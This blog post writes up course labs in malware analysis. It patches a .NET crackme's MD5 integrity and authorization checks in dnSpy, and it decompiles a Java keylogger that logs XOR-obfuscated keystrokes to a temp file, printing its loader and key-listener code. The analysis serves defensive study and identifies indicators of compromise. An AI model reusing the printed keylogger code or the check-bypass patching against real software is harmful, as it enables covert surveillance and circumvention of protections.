DEV Community

loading...
Cover image for Malware Analysis with .NET and Java

Malware Analysis with .NET and Java

Narek Babajanyan
Software developer on a mission.
・6 min read

This post serves as a write-up of the practical exercises offered in Pluralsight's Analyzing Malware for .NET and Java Binaries course.

The course covers tools and techniques for analyzing malicious software developed for .NET and JVM platforms. These tools include

  • dnSpy - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
  • Bytecode Viewer - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.

First steps

The first exercise included in this course is a non-malicious program written for the .NET platform, that contains a "flag" - an email address. Disassembling and decompiling the software in dnSpy is as easy as simply opening the Portable Executable file (.exe) within the program.

Project structure

Doing so reveals the structure of the assembly, in a manner visually very similar to Visual Studio.
As we can see, our assembly consists of three projects

  • PS_DotNet_Lab1
  • PS_DotNet_Lab1.App_Code
  • PS_DotNet_Lab1.Properties

each containing multiple classes.
As first order of business, we should find the entry point of the program. I examine the Program class and find the Main() function.

namespace PS_DotNet_Lab1
{
    // Token: 0x02000004 RID: 4
    internal static class Program
    {
        // Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
        [STAThread]
        private static void Main()
        {
            bool flag = Verification.App_Startup();
            if (flag)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Client());
            }
            else
            {
                MessageBox.Show("Try Again :)");
            }
        }
    }
}

Simply running the program shows a message box with the "Try Again :)" message, which indicates that the flag variable is initially false. In order to understand the logic behind this value, the App_Startup() function (located in the Verification class) needs to be examined.

namespace PS_DotNet_Lab1
{
    // Token: 0x02000002 RID: 2
    public static class Verification
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static string create_md5(string filename)
        {
            string result;
            using (MD5 md = MD5.Create())
            {
                using (FileStream fileStream = File.OpenRead(filename))
                {
                    result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
                }
            }
            return result;
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
        public static bool App_Startup()
        {
            bool result;
            try
            {
                Settings settings = new Settings();
                string check = settings.check1;
                string b = Verification.create_md5("PS_DotNet_Lab1.exe");
                bool flag = check != b;
                if (flag)
                {
                    result = false;
                }
                else
                {
                    result = true;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
    }
}

Looking at the App_Startup() and create_md5() methods, I get the impression that the program is checking its own integrity through an MD5 hash. The Settings.check1 property has DefaultSettingValue attribute set for a specific MD5 hash.

Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the App_Startup() method to always return true instead of the result variable. After clicking Save All, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.
New window
Clicking the Authenticate button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the Client class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the button1_Click() method.

// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
        private void button1_Click(object sender, EventArgs e)
        {
            bool flag = !Authentication.isAuthorized();
            if (flag)
            {
                this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
                bool flag2 = this.maxAttempts == 0U;
                if (flag2)
                {
                    RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
                    registryKey.SetValue("Challenge1", "1");
                    registryKey.Close();
                    Application.Exit();
                }
                this.maxAttempts -= 1U;
            }
            else
            {
                this.txtOutputLog.Clear();
                this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
                RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
                bool flag3 = registryKey2 != null;
                if (flag3)
                {
                    object value = registryKey2.GetValue("Challenge1");
                    bool flag4 = value != null;
                    if (flag4)
                    {
                        registryKey2.DeleteSubKey("Challenge1");
                    }
                    registryKey2.Close();
                }
            }
        }

We seem close to our objective. The software seems to check for authorization through the isAuthorized() method, and if so, display the email "flag". I proceed by modifying the method so that the flag variable is always false and does not depend on authorization.
Final result

That's it. This reveals our desired flag.

Note: One of the objectives on malware analysis is to find indicators of compromise (IOC) - clues that indicate that a given machine has been infected. As the decompiled code shows, this software modifies the Windows registry and creates a subkey PS_DotNet_Lab1. Presence of said key within the Registry Editor (regedit.exe) can function as an IOC.

An alternative way

Upon my first examination of the decompiled source, I found the method that actually generates the email address. However, the flag wasn't kept simply as a string, an anti-analysis technique called obfuscation was used. The method in question is located in the Authorization class and is called returnEmailAddress(). Here's the excerpt from the class:

public static string returnEmailAddress()
        {
            string text = "";
            foreach (char c in Authentication.addy)
            {
                text += c.ToString();
            }
            return text;
        }

        // Token: 0x04000009 RID: 9
        private static byte[] addy = new byte[]
        {
            53,
            102,
            54,
            104,
            56,
            57,
            100,
            115,
            117,
            64,
            48,
            120,
            101,
            118,
            105,
            108,
            99,
            48,
            100,
            101,
            46,
            99,
            111,
            109,
            46,
            99,
            111,
            109
        };

So another option to retrieve our email address would be to copy this code, run it in our own environment and retrieve the resulting string. However, I chose to try and open the full Windows Forms application for added interest.

Second exercise

The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a .jar package, which can be opened from within Bytecode Viewer.
Project Structure

In order to dissect the logic of the program, we need to find its entry point - the main() function. It can be found within the ResourceLoader class, which also includes a lot of seemingly random string objects, most of which are presumably unnecessary (unnecessary code is yet another anti-analysis technique).

public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
      URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
      ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
      Thread.currentThread().setContextClassLoader(jceClassLoader);
      Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
      Method main = c.getMethod("main", args.getClass());
      main.invoke((Object)null, args);
   }

It can be seen that this method serves simply to retrieve the real main() method from the introspection2.jar package. I used archiving software to retrieve the package and supply it to Bytecode Viewer.

Note: Another internal .jar package was present - jnativehook.jar. Upon looking at its classes, it seems to belong to the JNativeHook library that the malware uses to listen for keypresses.

The introspection2 class seems to contain the main malicious logic, it's entry point main() method contains the following line

GlobalScreen.addNativeKeyListener(new introspection2());

This prompts our attention to the constructor of the class:

public introspection2() throws IOException {
    File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
    if (!file.exists()) {
        file.createNewFile();
    }

    this.fw = new FileWriter(file.getAbsoluteFile(), true);
    this.bw = new BufferedWriter(this.fw);
}

It is clear that the malware looks for the temporary directory, and creates a file called JavaDeploy.log within it. That's our indicator of compromise - by searching for this file on suspected machines, we can confirm whether they have been infected.

In order to work with JNativeHook, the class implements the NativeKeyListener interface. More specifically, I pay attention to the nativeKeyPressed() method:

public void nativeKeyPressed(NativeKeyEvent e) {
  try {
     this.bw.write(e.getKeyCode() ^ 151);
     this.bw.flush();
  } catch (IOException var4) {
  }

  if (e.getKeyCode() == 1) {
     try {
        GlobalScreen.unregisterNativeHook();
     } catch (NativeHookException var3) {
        var3.printStackTrace();
     }
  }
}

We can now see the exact mechanism that this particular malware (more specifically, keylogger) utilizies. In order to obfuscate its output, it XORs the registered characters with a specific number (151).

Discussion (1)

Collapse
c1b33rr profile image
Felipe Segura

Hi Narek,i have a question about the C# exercise,what part of the code did you modified to bypass the first restriction? because im trying to modify on the fly with breakpoint and with the variables and it worked well,but if i press ctrl+shift+e to modify the code and then run the application it just doesnt work